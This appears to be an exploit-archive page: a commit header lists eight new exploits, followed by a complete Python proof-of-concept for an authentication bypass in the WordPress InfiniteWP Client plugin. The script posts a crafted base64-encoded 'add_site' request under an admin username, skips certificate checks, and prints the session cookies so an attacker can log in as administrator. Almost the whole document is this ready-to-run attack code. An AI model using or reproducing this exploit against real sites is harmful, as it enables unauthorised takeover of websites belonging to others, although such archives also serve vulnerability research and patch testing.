d907c78cad
8 changes to exploits/shellcodes APKF Product Key Finder 2.5.8.0 - 'Name' Denial of Service (PoC) GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC) Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite) Trend Micro Maximum Security 2019 - Arbitrary Code Execution Trend Micro Maximum Security 2019 - Privilege Escalation Plantronics Hub 3.13.2 - SpokesUpdateService Privilege Escalation (Metasploit) Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass Wordpress Time Capsule Plugin 1.21.16 - Authentication Bypass
39 lines
No EOL
1.5 KiB
Python
Executable file
39 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass
|
|
# Date: 2020-1-16
|
|
# Exploit Author: Raphael Karger
|
|
# Vendor Homepage: https://infinitewp.com/
|
|
# Version: InfiniteWP Client < 1.9.4.5
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import requests
|
|
import json
|
|
import argparse
|
|
import base64
|
|
import json
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
def exploit(site, username):
|
|
json_info = {"iwp_action":"add_site","params":{"username": username}}
|
|
try:
|
|
return requests.post(site, timeout=5, verify=False,
|
|
headers={"User-Agent" : "raphaelrocks"},
|
|
data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
|
|
)
|
|
except Exception as e:
|
|
print("[-] HTTP Exploit Error: {}".format(e))
|
|
return False
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("-n", "--username", dest="username", help="Username of admin, default is admin", default="admin")
|
|
parser.add_argument("-u", "--url", dest="url", help="Root URL of Site")
|
|
args = parser.parse_args()
|
|
site_exploit = exploit(args.url, args.username)
|
|
if site_exploit and site_exploit.status_code == requests.codes.ok:
|
|
cookie_string = "; ".join([str(x)+"="+str(y) for x,y in site_exploit.cookies.items()])
|
|
if cookie_string:
|
|
print("[+] Use Cookies to Login: \n{}".format(cookie_string))
|
|
exit(0)
|
|
print("[-] Exploit Failed") |